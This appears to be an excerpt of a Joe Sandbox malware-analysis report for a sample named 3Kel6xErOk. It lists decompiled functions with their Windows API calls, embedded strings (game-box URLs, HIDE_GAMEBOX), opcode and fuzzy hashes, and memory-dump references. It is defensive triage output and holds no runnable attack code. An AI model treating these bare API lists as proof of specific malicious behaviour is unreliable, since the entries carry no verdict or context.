Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ExecuteFileModuleNameShell_wcsstr
String ID: OPEN$http://pc.game.iqiyi.com/flash$http://pc.game.iqiyi.com/game$http://pc.game.iqiyi.com/home$pc.game.iqiyi.com/togame
API String ID: 1228002475-3350453172
Opcode ID: d4d726797e4e368f31967c1b1373bbd34796dbca4ff0cd6bd3a4b78655421ab0
Instruction ID: 27d36262050283a6408a5ccd014d6b9ebcab457ffa2a73c7a05baa87e09062a8
Opcode Fuzzy Hash: d4d726797e4e368f31967c1b1373bbd34796dbca4ff0cd6bd3a4b78655421ab0
Instruction Fuzzy Hash: 2B41D5B2F40318ABCB20EF20DC46FDAB779AB45705F004599F509A7681EB746B84CF96

Function 004314B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomW.KERNEL32(HIDE_GAMEBOX), ref: 004314C8
RegisterHotKey.USER32(?,?,00000001,00000070), ref: 004314F6

Part of subcall function 00430EB0: GetWindowLongW.USER32(?,000000F0), ref: 00430EC1

Part of subcall function 00430B30: SetMenu.USER32(?,00000000), ref: 00430B41

Part of subcall function 00430B50: SetWindowPos.USER32(00C00000,00000000,00C00000,?,?,?,00000000,?,?,0043166B,00000000,00000000,00000042,00000000,00C00000,00000000), ref: 00430B8B

Part of subcall function 00430C00: GetParent.USER32 ref: 00430C37
Part of subcall function 00430C00: GetWindowRect.USER32(?,?), ref: 00430C5D
Part of subcall function 00430C00: GetWindowLongW.USER32(00000000,000000F0), ref: 00430C7E
Part of subcall function 00430C00: MonitorFromWindow.USER32(00000000,00000002), ref: 00430CB7

Part of subcall function 004070F0: GetClientRect.USER32(?,?), ref: 00407101

std::condition_variable::notify_all.LIBCONCRTD ref: 00431570

Part of subcall function 00431360: GetCurrentThreadId.KERNEL32 ref: 00431399
Part of subcall function 00431360: new.LIBCMT ref: 004313D3
Part of subcall function 00431360: IsWindow.USER32(?), ref: 00431463

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00431592

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

std::condition_variable::notify_all.LIBCONCRTD ref: 0043159E

Part of subcall function 00439280: VariantChangeType.OLEAUT32(?,?,00000000,00002011), ref: 00439309
Part of subcall function 00439280: SafeArrayCreate.OLEAUT32(00000011,00000001,00000000), ref: 00439321

Part of subcall function 00430BC0: GetWindowPlacement.USER32(?,00000000,?,?,004316E9,?,00000000,50000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00430BD1

LockFreeStack.LIBCMTD ref: 004315C3

Part of subcall function 004311F0: CopyRect.USER32(00000000,00000000), ref: 004311FF

Strings

HIDE_GAMEBOX, xrefs: 004314C3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$Rect$Longstd::condition_variable::notify_all$ArrayAtomBase::ChangeClientConcurrency::details::Container_base12Container_base12::~_ContextCopyCreateCurrentFreeFromGlobalIdentityLockMenuMonitorParentPlacementQueueRegisterSafeStackThreadTypeVariantWorkstd::_
String ID: HIDE_GAMEBOX
API String ID: 3705525185-1201886616
Opcode ID: 70434bde4daf7aa71daf87b492b873757e16db7c31469dcfeccac37ab231374a
Instruction ID: 5e48f8fe64615e77fc8de982ffe702caace337daadc0bdcda0337a928ca551e6
Opcode Fuzzy Hash: 70434bde4daf7aa71daf87b492b873757e16db7c31469dcfeccac37ab231374a
Instruction Fuzzy Hash: 1231BE70A401099BEB08EBE5C962BAEB375AF4870CF24412DE5067B2C2DA75BD11C759

Function 004315E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomW.KERNEL32(HIDE_GAMEBOX), ref: 004315F8
RegisterHotKey.USER32(?,?,00000001,00000070), ref: 00431626

Part of subcall function 00430EB0: GetWindowLongW.USER32(?,000000F0), ref: 00430EC1

Part of subcall function 00430B30: SetMenu.USER32(?,00000000), ref: 00430B41

Part of subcall function 00430B50: SetWindowPos.USER32(00C00000,00000000,00C00000,?,?,?,00000000,?,?,0043166B,00000000,00000000,00000042,00000000,00C00000,00000000), ref: 00430B8B

Part of subcall function 00430C00: GetParent.USER32 ref: 00430C37
Part of subcall function 00430C00: GetWindowRect.USER32(?,?), ref: 00430C5D
Part of subcall function 00430C00: GetWindowLongW.USER32(00000000,000000F0), ref: 00430C7E
Part of subcall function 00430C00: MonitorFromWindow.USER32(00000000,00000002), ref: 00430CB7

Part of subcall function 004070F0: GetClientRect.USER32(?,?), ref: 00407101

std::condition_variable::notify_all.LIBCONCRTD ref: 004316A0

Part of subcall function 00431360: GetCurrentThreadId.KERNEL32 ref: 00431399
Part of subcall function 00431360: new.LIBCMT ref: 004313D3
Part of subcall function 00431360: IsWindow.USER32(?), ref: 00431463

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004316C2

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

std::condition_variable::notify_all.LIBCONCRTD ref: 004316CE

Part of subcall function 00439280: VariantChangeType.OLEAUT32(?,?,00000000,00002011), ref: 00439309
Part of subcall function 00439280: SafeArrayCreate.OLEAUT32(00000011,00000001,00000000), ref: 00439321

Part of subcall function 00430BC0: GetWindowPlacement.USER32(?,00000000,?,?,004316E9,?,00000000,50000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00430BD1

LockFreeStack.LIBCMTD ref: 004316F3

Part of subcall function 004311F0: CopyRect.USER32(00000000,00000000), ref: 004311FF

Strings

HIDE_GAMEBOX, xrefs: 004315F3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$Rect$Longstd::condition_variable::notify_all$ArrayAtomBase::ChangeClientConcurrency::details::Container_base12Container_base12::~_ContextCopyCreateCurrentFreeFromGlobalIdentityLockMenuMonitorParentPlacementQueueRegisterSafeStackThreadTypeVariantWorkstd::_
String ID: HIDE_GAMEBOX
API String ID: 3705525185-1201886616
Opcode ID: ffe2465666b33327973ee22aae5ea1c40946110436e3501358c27b8f37856a12
Instruction ID: ac63a959a1f68e8e5142bdd721d2d474fcf8818338e5651013be40276d70c195
Opcode Fuzzy Hash: ffe2465666b33327973ee22aae5ea1c40946110436e3501358c27b8f37856a12
Instruction Fuzzy Hash: E131BE70A401099BEB08EBE5C962BAEB375AF4870CF24412DE6067B2C2DA75BD11C759

Function 00438A6E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00438A75
new.LIBCMT ref: 00438A8C
std::locale::c_str.LIBCPMTD ref: 00438A9D
std::_Locinfo::_Locinfo.LIBCPMTD ref: 00438AA6

Part of subcall function 00414DC0: std::_Lockit::_Lockit.LIBCPMT ref: 00414DED
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414DFF
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E0E
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E1D
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E2C
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E3B
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E4A
Part of subcall function 00414DC0: std::bad_exception::bad_exception.LIBCMTD ref: 00414E61
Part of subcall function 00414DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 00414E6F
Part of subcall function 00414DC0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00414E7C

std::locale::facet::facet.LIBCPMTD ref: 00438AB9
std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00438AC9

Part of subcall function 00414EA0: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00414ECA
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414ED8
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EE3
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EEE
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EF9
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F04
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F0F
Part of subcall function 00414EA0: std::_Lockit::~_Lockit.LIBCPMT ref: 00414F17

Strings

GC, xrefs: 00438AA3, 00438AC4

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_Yarn$Locinfo::_$LocinfoLockit$Exception@8H_prolog3Locinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exceptionstd::locale::c_strstd::locale::facet::facet
String ID: GC
API String ID: 2098803688-2721813804
Opcode ID: e761f9731866910e72f9ed91f68399b9fe02365128117b94d9c431b17ca9e9e8
Instruction ID: d13efa4169c63b90b65c0e84a9f6ab7dfdb0ff1ced0a7c0db3df8b7054e54b2a
Opcode Fuzzy Hash: e761f9731866910e72f9ed91f68399b9fe02365128117b94d9c431b17ca9e9e8
Instruction Fuzzy Hash: 6CF049B49007099ADB00FFA5D4417DEFB71BF94744FA4441FB508AB282CBB85A81CB88

Function 00441670 Relevance: 12.3, APIs: 8, Instructions: 258threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00441694
GetThreadContext.KERNEL32(?,00010001), ref: 004417E9

Part of subcall function 004414F0: GetCurrentThreadId.KERNEL32 ref: 004414F6

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: ca998e68041466e063068613628fb5d16b0ddf9596fca9793a835600736a99ce
Instruction ID: d601a70a02401398c3d239198026b9a969015d1ee49139b7607032fcac1984f3
Opcode Fuzzy Hash: ca998e68041466e063068613628fb5d16b0ddf9596fca9793a835600736a99ce
Instruction Fuzzy Hash: 0BD1F974900219CFDB64EF54C988BA9B7B2BF48304F1486DAE4096B361DB35AEC1CF94

Function 0040C690 Relevance: 12.1, APIs: 8, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0648582496f0ac200ca5abf3b191fe7cae5a7aed8f367625526c7fa3d3d1431
Instruction ID: 397bbe37d9085a6cfb5190be6d6b6eae4d2f7ffec5cb8cb58805f48227671aac
Opcode Fuzzy Hash: f0648582496f0ac200ca5abf3b191fe7cae5a7aed8f367625526c7fa3d3d1431
Instruction Fuzzy Hash: 7F411275A1020ADFCB04DFA8D9D4AAF77B5BF48300F104619F906AB390D738A955CFA5

Function 00426B50 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00426BF4
new.LIBCMT ref: 00426C39
new.LIBCMT ref: 00426C82
new.LIBCMT ref: 00426CCB
new.LIBCMT ref: 00426D14

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de51edc2601a03bf6e2b5dd229a787250ce5a745f4a5bf887c7603d524d3fcac
Instruction ID: de09cfb17d18c045dbcdb0f986b06d3b95be52c6a3575a2e4faddede32091c68
Opcode Fuzzy Hash: de51edc2601a03bf6e2b5dd229a787250ce5a745f4a5bf887c7603d524d3fcac
Instruction Fuzzy Hash: 0BC128B4E00219DFCB04DF99D981AAEBBB1BF48314F20816EE515AB391DB34AD41CF94

Function 00407FC0 Relevance: 10.7, APIs: 7, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fdd8122033c154c815570451f4e5d6e5ccf333a575405184e98eb66eb845f58
Instruction ID: 3e1974a34086a33754794e748d21b3f52c5b87a00852e136e678b2d9a151b796
Opcode Fuzzy Hash: 7fdd8122033c154c815570451f4e5d6e5ccf333a575405184e98eb66eb845f58
Instruction Fuzzy Hash: 93A17C716002099FDB18CF54C995BBE7BB6EB48714F20802EF845AB2D1DB789D81CB94

Function 00429CA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00000000,00000000,00000104,00000105,0000000C,CC27C0CB), ref: 00429D1F
PathRemoveFileSpecW.SHLWAPI(00000000,00000000), ref: 00429D30

Part of subcall function 004231B0: operator!=.LIBCPMTD ref: 0042320B
Part of subcall function 004231B0: operator!=.LIBCPMTD ref: 0042323D

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429D84

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

PathFileExistsW.SHLWAPI(00000000,?,006BA58C,00000000,00000000), ref: 00429D8A
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429DEE

Strings

..\, xrefs: 00429D94

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: File$Container_base12Container_base12::~_Pathoperator!=std::_$Base::Concurrency::details::ContextExistsIdentityModuleNameQueueRemoveSpecWork
String ID: ..\
API String ID: 1938192258-2756224523
Opcode ID: dc935121da8dc178ac90a9ad53bf32c93d4c0b7b0069ccdab508ca778dfa3cb0
Instruction ID: e0dc736185fda834df3880e4f1237af1500bb764b413e3d036efc5c211337570
Opcode Fuzzy Hash: dc935121da8dc178ac90a9ad53bf32c93d4c0b7b0069ccdab508ca778dfa3cb0
Instruction Fuzzy Hash: 19412171E00208ABCB04EFA1EC52BEEBB75AF14704F50412EF412A71D1EF786A08CB95

Function 032A9173 Relevance: 10.6, APIs: 7, Instructions: 114COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 032A91D8
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 032A91EC
__fassign.LIBCMT ref: 032A919F

Part of subcall function 032ABE5F: __mbsnbcpy_l.LIBCMT ref: 032ABE6F

__fassign.LIBCMT ref: 032A9257
__fassign.LIBCMT ref: 032A9286
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 032A9299
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 032A92AD

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: d39bb7027f6251b25b08e012973c6ff04273f925ee12b3df7fdcad5c3bd8eb85
Instruction ID: 82e697cd40ee74fa9ff27c217cdb5065c6f997feca38e9a99c2ec56d3c70fef7
Opcode Fuzzy Hash: d39bb7027f6251b25b08e012973c6ff04273f925ee12b3df7fdcad5c3bd8eb85
Instruction Fuzzy Hash: C14113B581474D5FDF60DB6D8CC8BEAB7AD9B05300F5841E5DA94D7182DBB08AC8CB60

Function 1000EBC0 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,1000C2D3,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000EBC8
__mtterm.LIBCMT ref: 1000EBD4

Part of subcall function 1000E89F: RtlDecodePointer.NTDLL(100209BC), ref: 1000E8B0
Part of subcall function 1000E89F: TlsFree.KERNEL32(100209C0,1000C396,1000C37C,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000E8CA
Part of subcall function 1000E89F: _free.LIBCMT ref: 1000F6C2

TlsAlloc.KERNEL32(?,?,1000C2D3,1001D1F0,00000008,1000C467,?,?,?,1001D210,0000000C,1000C522,?), ref: 1000EC61
__init_pointers.LIBCMT ref: 1000EC86
__calloc_crt.LIBCMT ref: 1000ECF4
GetCurrentThreadId.KERNEL32 ref: 1000ED20

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction ID: bb4694bb5c9a658c6d9950f541a17c18304243beb40d45fd1c97dd1bb193a613
Opcode Fuzzy Hash: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction Fuzzy Hash: 5A31C239C41A74EFF751DF748C8468A3EA4EF953A0B20466EE402E21B4DB34CA42CF40

Function 032AEBC4 Relevance: 10.6, APIs: 7, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,?,032AC2D7,1001D1F0,00000008,032AC46B,?,?,?,1001D210,0000000C,032AC526,?), ref: 032AEBCC
__mtterm.LIBCMT ref: 032AEBD8

Part of subcall function 032AE8A3: RtlDecodePointer.NTDLL(100209BC), ref: 032AE8B4
Part of subcall function 032AE8A3: TlsFree.KERNEL32(100209C0,032AC39A,032AC380,1001D1F0,00000008,032AC46B,?,?,?,1001D210,0000000C,032AC526,?), ref: 032AE8CE
Part of subcall function 032AE8A3: _free.LIBCMT ref: 032AF6C6

TlsAlloc.KERNEL32(?,?,032AC2D7,1001D1F0,00000008,032AC46B,?,?,?,1001D210,0000000C,032AC526,?), ref: 032AEC65
__init_pointers.LIBCMT ref: 032AEC8A
__calloc_crt.LIBCMT ref: 032AECF8
GetCurrentThreadId.KERNEL32 ref: 032AED24

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: AllocCurrentDecodeFreeHandleModulePointerThread__calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 347030822-0
Opcode ID: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction ID: 4bde99a5906e1ed183e9303af39646a30531c9fe1ae3424343f46fb9b95971f0
Opcode Fuzzy Hash: 2465f0a14bcac396a0c33370bd3830e107fa2acc38513c658810efa9718ea0a3
Instruction Fuzzy Hash: 53314279C50F36DFF711EF798C885867AA5EF94360B294A6AE40297170E7748183CF90

Function 0043A59E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?,?,00000000), ref: 0043A5B0
GetFileVersionInfoW.VERSION(?,?,00000000,?,?,?,?,?), ref: 0043A5E2
VerQueryValueW.VERSION(?,006C2CAC,00000000,?,?,?,?,?), ref: 0043A60C

Part of subcall function 0043A6BF: VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,00000000,?), ref: 0043A704
Part of subcall function 0043A6BF: wsprintfW.USER32 ref: 0043A72A
Part of subcall function 0043A6BF: VerQueryValueW.VERSION(?,?,?,?), ref: 0043A74A
Part of subcall function 0043A6BF: lstrcpyW.KERNEL32(0043A690,?), ref: 0043A75B

Strings

CompanyName, xrefs: 0043A686
ProductName, xrefs: 0043A6AC
FileDescription, xrefs: 0043A699

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
